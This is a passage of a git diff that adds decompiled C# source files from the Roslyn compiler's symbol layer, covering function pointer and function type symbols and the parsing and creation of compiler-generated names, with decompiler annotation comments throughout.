retAndParamTypes) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new FunctionPointerTypeSymbol(FunctionPointerMethodSymbol.CreateFromMetadata(containingModule, callingConvention, retAndParamTypes)); + } + + public FunctionPointerTypeSymbol SubstituteTypeSymbol(TypeWithAnnotations substitutedReturnType, ImmutableArray substitutedParameterTypes, ImmutableArray refCustomModifiers, ImmutableArray> paramRefCustomModifiers) + { + return new FunctionPointerTypeSymbol(Signature.SubstituteParameterSymbols(substitutedReturnType, substitutedParameterTypes, refCustomModifiers, paramRefCustomModifiers)); + } + + private FunctionPointerTypeSymbol(FunctionPointerMethodSymbol signature) + { + Signature = signature; + } + + internal override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + return (ManagedKind)1; + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitFunctionPointerType(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitFunctionPointerType(this); + } + + public override ImmutableArray GetMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument a) + { + return visitor.VisitFunctionPointerType(this, a); + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved = null) + { + return ImmutableArray.Empty; + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind compareKind) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == t2) + { + return true; + } + if (!(t2 is FunctionPointerTypeSymbol functionPointerTypeSymbol)) + { + return false; + } + return Signature.Equals(functionPointerTypeSymbol.Signature, compareKind); + } + + public override int GetHashCode() + { + return Hash.Combine(1, Signature.GetHashCode()); + } + + protected override ISymbol CreateISymbol() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.FunctionPointerTypeSymbol(this, base.DefaultNullableAnnotation); + } + + protected override ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.FunctionPointerTypeSymbol(this, nullableAnnotation); + } + + internal override void AddNullableTransforms(ArrayBuilder transforms) + { + Signature.AddNullableTransforms(transforms); + } + + internal override bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeSymbol result) + { + FunctionPointerMethodSymbol functionPointerMethodSymbol = Signature.ApplyNullableTransforms(defaultTransformFlag, transforms, ref position); + bool flag = (object)Signature != functionPointerMethodSymbol; + result = (flag ? new FunctionPointerTypeSymbol(functionPointerMethodSymbol) : this); + return flag; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo useSiteInfo = Signature.GetUseSiteInfo(); + DiagnosticInfo diagnosticInfo = useSiteInfo.DiagnosticInfo; + if (diagnosticInfo != null && diagnosticInfo.Code == 570 && EnumerableExtensions.AsSingleton((IEnumerable)useSiteInfo.DiagnosticInfo.Arguments) == Signature) + { + return new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, this)); + } + return useSiteInfo; + } + + internal override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo? result, Symbol owner, ref HashSet checkedTypes) + { + return Signature.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes); + } + + internal override TypeSymbol MergeEquivalentTypes(TypeSymbol other, VarianceKind variance) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + FunctionPointerMethodSymbol functionPointerMethodSymbol = Signature.MergeEquivalentTypes(((FunctionPointerTypeSymbol)other).Signature, variance); + if ((object)functionPointerMethodSymbol != Signature) + { + return new FunctionPointerTypeSymbol(functionPointerMethodSymbol); + } + return this; + } + + internal override TypeSymbol SetNullabilityForReferenceTypes(Func transform) + { + FunctionPointerMethodSymbol functionPointerMethodSymbol = Signature.SetNullabilityForReferenceTypes(transform); + if ((object)Signature != functionPointerMethodSymbol) + { + return new FunctionPointerTypeSymbol(functionPointerMethodSymbol); + } + return this; + } + + internal static bool RefKindEquals(TypeCompareKind compareKind, RefKind refKind1, RefKind refKind2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if ((compareKind & 0x40) == 0) + { + return refKind1 == refKind2; + } + return (int)refKind1 == 0 == ((int)refKind2 == 0); + } + + internal static RefKind GetRefKindForHashCode(RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if ((int)refKind == 0) + { + return (RefKind)0; + } + return (RefKind)1; + } + + internal static bool IsCallingConventionModifier(NamedTypeSymbol modifierType) + { + if ((object)modifierType.ContainingAssembly == modifierType.ContainingAssembly?.CorLibrary && modifierType.Arity == 0 && modifierType.Name != "CallConv" && modifierType.Name.StartsWith("CallConv", StringComparison.Ordinal)) + { + return modifierType.IsCompilerServicesTopLevelType(); + } + return false; + } + + internal override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionTypeSymbol.cs new file mode 100644 index 0000000..5d86bd7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionTypeSymbol.cs @@ -0,0 +1,293 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal sealed class FunctionTypeSymbol : TypeSymbol +{ + private static readonly NamedTypeSymbol Uninitialized = new UnsupportedMetadataTypeSymbol(); + + private readonly Binder? _binder; + + private readonly Func? _calculateDelegate; + + private BoundExpression? _expression; + + private NamedTypeSymbol? _lazyDelegateType; + + public override bool IsReferenceType => true; + + public override bool IsValueType => false; + + public override TypeKind TypeKind => (TypeKind)255; + + public override bool IsRefLikeType => false; + + public override bool IsReadOnly => true; + + public override SymbolKind Kind => (SymbolKind)255; + + public override Symbol? ContainingSymbol => null; + + public override ImmutableArray Locations + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 112); + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 114); + } + } + + public override Accessibility DeclaredAccessibility + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 116); + } + } + + public override bool IsStatic => false; + + public override bool IsAbstract + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 120); + } + } + + public override bool IsSealed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 122); + } + } + + internal override NamedTypeSymbol? BaseTypeNoUseSiteDiagnostics => null; + + internal override bool IsRecord + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 126); + } + } + + internal override bool IsRecordStruct + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 128); + } + } + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 130); + } + } + + internal static FunctionTypeSymbol? CreateIfFeatureEnabled(SyntaxNode syntax, Binder binder, Func calculateDelegate) + { + if (!syntax.IsFeatureEnabled(MessageID.IDS_FeatureInferredDelegateType)) + { + return null; + } + return new FunctionTypeSymbol(binder, calculateDelegate); + } + + private FunctionTypeSymbol(Binder binder, Func calculateDelegate) + { + _binder = binder; + _calculateDelegate = calculateDelegate; + _lazyDelegateType = Uninitialized; + } + + internal FunctionTypeSymbol(NamedTypeSymbol delegateType) + { + _lazyDelegateType = delegateType; + } + + internal void SetExpression(BoundExpression expression) + { + _expression = expression; + } + + internal NamedTypeSymbol? GetInternalDelegateType() + { + if ((object)_lazyDelegateType == Uninitialized) + { + NamedTypeSymbol value = _calculateDelegate(_binder, _expression); + NamedTypeSymbol namedTypeSymbol = Interlocked.CompareExchange(ref _lazyDelegateType, value, Uninitialized); + if (_binder.Compilation.TestOnlyCompilationData is InferredDelegateTypeData inferredDelegateTypeData && (object)namedTypeSymbol == Uninitialized) + { + Interlocked.Increment(ref inferredDelegateTypeData.InferredDelegateCount); + } + } + return _lazyDelegateType; + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 132); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 134); + } + + public override ImmutableArray GetMembers() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 136); + } + + public override ImmutableArray GetMembers(string name) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 138); + } + + public override ImmutableArray GetTypeMembers() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 140); + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 142); + } + + protected override ISymbol CreateISymbol() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 144); + } + + protected override ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 146); + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument a) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 148); + } + + internal override void AddNullableTransforms(ArrayBuilder transforms) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 150); + } + + internal override bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeSymbol result) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 152); + } + + internal override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 154); + } + + internal override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 156); + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved = null) + { + return ImmutableArray.Empty; + } + + internal override TypeSymbol MergeEquivalentTypes(TypeSymbol other, VarianceKind variance) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol internalDelegateType = GetInternalDelegateType(); + FunctionTypeSymbol functionTypeSymbol = (FunctionTypeSymbol)other; + NamedTypeSymbol internalDelegateType2 = functionTypeSymbol.GetInternalDelegateType(); + if ((object)internalDelegateType == null || (object)internalDelegateType2 == null) + { + return this; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)internalDelegateType.MergeEquivalentTypes(internalDelegateType2, variance); + if ((object)internalDelegateType != namedTypeSymbol) + { + return functionTypeSymbol.WithDelegateType(namedTypeSymbol); + } + return this; + } + + internal override TypeSymbol SetNullabilityForReferenceTypes(Func transform) + { + NamedTypeSymbol internalDelegateType = GetInternalDelegateType(); + if ((object)internalDelegateType == null) + { + return this; + } + return WithDelegateType((NamedTypeSymbol)internalDelegateType.SetNullabilityForReferenceTypes(transform)); + } + + private FunctionTypeSymbol WithDelegateType(NamedTypeSymbol delegateType) + { + if ((object)GetInternalDelegateType() != delegateType) + { + return new FunctionTypeSymbol(delegateType); + } + return this; + } + + internal override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionTypeSymbol.cs", 197); + } + + internal override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind compareKind) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == t2) + { + return true; + } + if (t2 is FunctionTypeSymbol functionTypeSymbol) + { + NamedTypeSymbol internalDelegateType = GetInternalDelegateType(); + NamedTypeSymbol internalDelegateType2 = functionTypeSymbol.GetInternalDelegateType(); + if ((object)internalDelegateType == null || (object)internalDelegateType2 == null) + { + return false; + } + return TypeSymbol.Equals(internalDelegateType, internalDelegateType2, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return GetInternalDelegateType()?.GetHashCode() ?? 0; + } + + internal override string GetDebuggerDisplay() + { + return "FunctionTypeSymbol: " + GetInternalDelegateType()?.GetDebuggerDisplay(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GenerateMethodBodyDelegate.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GenerateMethodBodyDelegate.cs new file mode 100644 index 0000000..8691bea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GenerateMethodBodyDelegate.cs @@ -0,0 +1,3 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal delegate BoundStatement GenerateMethodBodyDelegate(SyntheticBoundNodeFactory factory, MethodSymbol method, MethodSymbol interfaceMethod); diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedLabelSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedLabelSymbol.cs new file mode 100644 index 0000000..72f9c72 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedLabelSymbol.cs @@ -0,0 +1,24 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class GeneratedLabelSymbol : LabelSymbol +{ + private readonly string _name; + + public override string Name => _name; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool IsImplicitlyDeclared => true; + + public GeneratedLabelSymbol(string name) + { + _name = LabelName(name); + } + + private static string LabelName(string name) + { + return name; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameConstants.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameConstants.cs new file mode 100644 index 0000000..b281928 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameConstants.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class GeneratedNameConstants +{ + internal const char DotReplacementInTypeNames = '-'; + + internal const string SynthesizedLocalNamePrefix = "CS$"; + + internal const string SuffixSeparator = "__"; + + internal const char LocalFunctionNameTerminator = '|'; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameKind.cs new file mode 100644 index 0000000..99f9685 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameKind.cs @@ -0,0 +1,53 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal enum GeneratedNameKind +{ + None = 0, + ThisProxyField = 52, + HoistedLocalField = 53, + DisplayClassLocalOrField = 56, + LambdaMethod = 98, + LambdaDisplayClass = 99, + StateMachineType = 100, + LocalFunction = 103, + AwaiterField = 117, + HoistedSynthesizedLocalField = 115, + StateMachineStateField = 49, + IteratorCurrentBackingField = 50, + StateMachineParameterProxyField = 51, + ReusableHoistedLocalField = 55, + LambdaCacheField = 57, + FixedBufferField = 101, + FileType = 70, + AnonymousType = 102, + TransparentIdentifier = 104, + AnonymousTypeField = 105, + StateMachineStateIdField = 73, + AnonymousTypeTypeParameter = 106, + AutoPropertyBackingField = 107, + IteratorCurrentThreadIdField = 108, + IteratorFinallyMethod = 109, + BaseMethodWrapper = 110, + AsyncBuilderField = 116, + DelegateCacheContainerType = 79, + DynamicCallSiteContainerType = 111, + PrimaryConstructorParameter = 80, + DynamicCallSiteField = 112, + AsyncIteratorPromiseOfValueOrEndBackingField = 118, + DisposeModeField = 119, + CombinedTokensField = 120, + InlineArrayType = 121, + ReadOnlyListType = 122, + [Obsolete] + Deprecated_OuterscopeLocals = 54, + [Obsolete] + Deprecated_IteratorInstance = 97, + [Obsolete] + Deprecated_InitializerLocal = 103, + [Obsolete] + Deprecated_DynamicDelegate = 113, + [Obsolete] + Deprecated_ComrefCallLocal = 114 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameKindExtensions.cs new file mode 100644 index 0000000..94bae12 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameKindExtensions.cs @@ -0,0 +1,13 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class GeneratedNameKindExtensions +{ + internal static bool IsTypeName(this GeneratedNameKind kind) + { + if (kind == GeneratedNameKind.DelegateCacheContainerType || (uint)(kind - 99) <= 1u || kind == GeneratedNameKind.DynamicCallSiteContainerType) + { + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameParser.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameParser.cs new file mode 100644 index 0000000..a88bb24 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNameParser.cs @@ -0,0 +1,273 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Text.RegularExpressions; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class GeneratedNameParser +{ + public const char FileTypeNameStartChar = '<'; + + private const int sha256LengthBytes = 32; + + private const int sha256LengthHexChars = 64; + + private static readonly string s_regexPatternString; + + private static readonly Regex s_fileTypeOrdinalPattern; + + internal static bool IsSynthesizedLocalName(string name) + { + return name.StartsWith("CS$", StringComparison.Ordinal); + } + + internal static GeneratedNameKind GetKind(string name) + { + if (!TryParseGeneratedName(name, out var kind, out var _, out var _)) + { + return GeneratedNameKind.None; + } + return kind; + } + + internal static bool TryParseGeneratedName(string name, out GeneratedNameKind kind, out int openBracketOffset, out int closeBracketOffset) + { + openBracketOffset = -1; + if (name.StartsWith("CS$<", StringComparison.Ordinal)) + { + openBracketOffset = 3; + } + else if (name.StartsWith("<", StringComparison.Ordinal)) + { + openBracketOffset = 0; + } + if (openBracketOffset >= 0) + { + closeBracketOffset = IndexOfBalancedParenthesis(name, openBracketOffset, '>'); + if (closeBracketOffset >= 0 && closeBracketOffset + 1 < name.Length) + { + int num = name[closeBracketOffset + 1]; + bool flag; + switch (num) + { + case 49: + case 50: + case 51: + case 52: + case 53: + case 54: + case 55: + case 56: + case 57: + case 97: + case 98: + case 99: + case 100: + case 101: + case 102: + case 103: + case 104: + case 105: + case 106: + case 107: + case 108: + case 109: + case 110: + case 111: + case 112: + case 113: + case 114: + case 115: + case 116: + case 117: + case 118: + case 119: + case 120: + case 121: + case 122: + flag = true; + break; + default: + flag = false; + break; + } + if (flag) + { + kind = (GeneratedNameKind)num; + return true; + } + } + } + kind = GeneratedNameKind.None; + openBracketOffset = -1; + closeBracketOffset = -1; + return false; + } + + private static int IndexOfBalancedParenthesis(string str, int openingOffset, char closing) + { + char c = str[openingOffset]; + int num = 1; + for (int i = openingOffset + 1; i < str.Length; i++) + { + char c2 = str[i]; + if (c2 == c) + { + num++; + } + else if (c2 == closing) + { + num--; + if (num == 0) + { + return i; + } + } + } + return -1; + } + + internal static bool TryParseSourceMethodNameFromGeneratedName(string generatedName, GeneratedNameKind requiredKind, [NotNullWhen(true)] out string? methodName) + { + if (!TryParseGeneratedName(generatedName, out var kind, out var openBracketOffset, out var closeBracketOffset)) + { + methodName = null; + return false; + } + if (requiredKind != GeneratedNameKind.None && kind != requiredKind) + { + methodName = null; + return false; + } + methodName = generatedName.Substring(openBracketOffset + 1, closeBracketOffset - openBracketOffset - 1); + if (kind.IsTypeName()) + { + methodName = methodName.Replace('-', '.'); + } + return true; + } + + internal static bool TryParseLocalFunctionName(string generatedName, [NotNullWhen(true)] out string? localFunctionName) + { + localFunctionName = null; + if (!TryParseGeneratedName(generatedName, out var kind, out var _, out var closeBracketOffset) || kind != GeneratedNameKind.LocalFunction) + { + return false; + } + int num = closeBracketOffset + 2 + "__".Length; + if (num >= generatedName.Length) + { + return false; + } + int num2 = generatedName.IndexOf('|', num); + if (num2 < 0) + { + return false; + } + localFunctionName = generatedName.Substring(num, num2 - num); + return true; + } + + internal static bool TryParseSlotIndex(string fieldName, out int slotIndex) + { + int num = fieldName.LastIndexOf('_'); + if (num - 1 < 0 || num == fieldName.Length || fieldName[num - 1] != '_') + { + slotIndex = -1; + return false; + } + if (int.TryParse(fieldName.Substring(num + 1), NumberStyles.None, CultureInfo.InvariantCulture, out slotIndex) && slotIndex >= 1) + { + slotIndex--; + return true; + } + slotIndex = -1; + return false; + } + + internal static bool TryParseAnonymousTypeParameterName(string typeParameterName, [NotNullWhen(true)] out string? propertyName) + { + if (typeParameterName.StartsWith("<", StringComparison.Ordinal) && typeParameterName.EndsWith(">j__TPar", StringComparison.Ordinal)) + { + propertyName = typeParameterName.Substring(1, typeParameterName.Length - 9); + return true; + } + propertyName = null; + return false; + } + + internal static bool TryParsePrimaryConstructorParameterFieldName(string fieldName, [NotNullWhen(true)] out string? parameterName) + { + if (fieldName.StartsWith("<", StringComparison.Ordinal) && fieldName.EndsWith(">P", StringComparison.Ordinal)) + { + parameterName = fieldName.Substring(1, fieldName.Length - 3); + return true; + } + parameterName = null; + return false; + } + + static GeneratedNameParser() + { + s_regexPatternString = $"<([a-zA-Z_0-9]*)>F([0-9A-F]{{{64}}})__"; + s_fileTypeOrdinalPattern = new Regex(s_regexPatternString, RegexOptions.Compiled); + } + + internal static bool TryParseFileTypeName(string generatedName, [NotNullWhen(true)] out string? displayFileName, [NotNullWhen(true)] out byte[]? checksum, [NotNullWhen(true)] out string? originalTypeName) + { + Match match = s_fileTypeOrdinalPattern.Match(generatedName); + if (match != null && match.Success) + { + GroupCollection groups = match.Groups; + int index = match.Index; + int length = match.Length; + displayFileName = groups[1].Value; + string value = groups[2].Value; + byte[] array = new byte[32]; + for (int i = 0; i < 32; i++) + { + array[i] = (byte)((hexCharToByte(value[i * 2]) << 4) | hexCharToByte(value[i * 2 + 1])); + } + checksum = array; + int startIndex = index + length; + originalTypeName = generatedName.Substring(startIndex); + return true; + } + checksum = null; + displayFileName = null; + originalTypeName = null; + return false; + static byte hexCharToByte(char c) + { + switch (c) + { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + return (byte)(c - 48); + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + return (byte)(10 + c - 65); + default: + return @throw(c); + } + } + static byte @throw(char c) + { + throw ExceptionUtilities.UnexpectedValue((object)c); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNames.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNames.cs new file mode 100644 index 0000000..a0eb8b4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GeneratedNames.cs @@ -0,0 +1,534 @@ +using System.Collections.Immutable; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class GeneratedNames +{ + private const char IdSeparator = '_'; + + private const char GenerationSeparator = '#'; + + internal const string AnonymousTypeNameWithoutModulePrefix = "<>f__AnonymousType"; + + internal const string AnonymousDelegateNameWithoutModulePrefix = "<>f__AnonymousDelegate"; + + internal const string ActionDelegateNamePrefix = "<>A"; + + internal const string FuncDelegateNamePrefix = "<>F"; + + private const int DelegateNamePrefixLength = 3; + + private const int DelegateNamePrefixLengthWithOpenBrace = 4; + + internal static bool IsGeneratedMemberName(string memberName) + { + if (memberName.Length > 0) + { + return memberName[0] == '<'; + } + return false; + } + + internal static string MakeBackingFieldName(string propertyName) + { + return "<" + propertyName + ">k__BackingField"; + } + + internal static string MakePrimaryConstructorParameterFieldName(string parameterName) + { + return "<" + parameterName + ">P"; + } + + internal static string MakeIteratorFinallyMethodName(StateMachineState finalizeState) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unsupported input type for neg. + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Expected I4, but got Unknown + return "<>m__Finally" + StringExtensions.GetNumeral((int)(-(finalizeState + 2))); + } + + internal static string MakeStaticLambdaDisplayClassName(int methodOrdinal, int generation) + { + return MakeMethodScopedSynthesizedName(GeneratedNameKind.LambdaDisplayClass, methodOrdinal, generation); + } + + internal static string MakeLambdaDisplayClassName(int methodOrdinal, int generation, int closureOrdinal, int closureGeneration) + { + return MakeMethodScopedSynthesizedName(GeneratedNameKind.LambdaDisplayClass, methodOrdinal, generation, null, "DisplayClass", '\0', closureOrdinal, closureGeneration); + } + + internal static string MakeAnonymousTypeOrDelegateTemplateName(int index, int submissionSlotIndex, string moduleId, bool isDelegate) + { + string text = "<" + moduleId + (isDelegate ? ">f__AnonymousDelegate" : ">f__AnonymousType") + StringExtensions.GetNumeral(index); + if (submissionSlotIndex >= 0) + { + text = text + "#" + StringExtensions.GetNumeral(submissionSlotIndex); + } + return text; + } + + internal static string MakeAnonymousTypeBackingFieldName(string propertyName) + { + return "<" + propertyName + ">i__Field"; + } + + internal static string MakeAnonymousTypeParameterName(string propertyName) + { + return "<" + propertyName + ">j__TPar"; + } + + internal static string MakeStateMachineTypeName(string methodName, int methodOrdinal, int generation) + { + return MakeMethodScopedSynthesizedName(GeneratedNameKind.StateMachineType, methodOrdinal, generation, methodName); + } + + internal static string MakeBaseMethodWrapperName(int uniqueId) + { + return "<>n__" + StringExtensions.GetNumeral(uniqueId); + } + + internal static string MakeLambdaMethodName(string methodName, int methodOrdinal, int methodGeneration, int lambdaOrdinal, int lambdaGeneration) + { + return MakeMethodScopedSynthesizedName(GeneratedNameKind.LambdaMethod, methodOrdinal, methodGeneration, methodName, null, '\0', lambdaOrdinal, lambdaGeneration); + } + + internal static string MakeLambdaCacheFieldName(int methodOrdinal, int generation, int lambdaOrdinal, int lambdaGeneration) + { + return 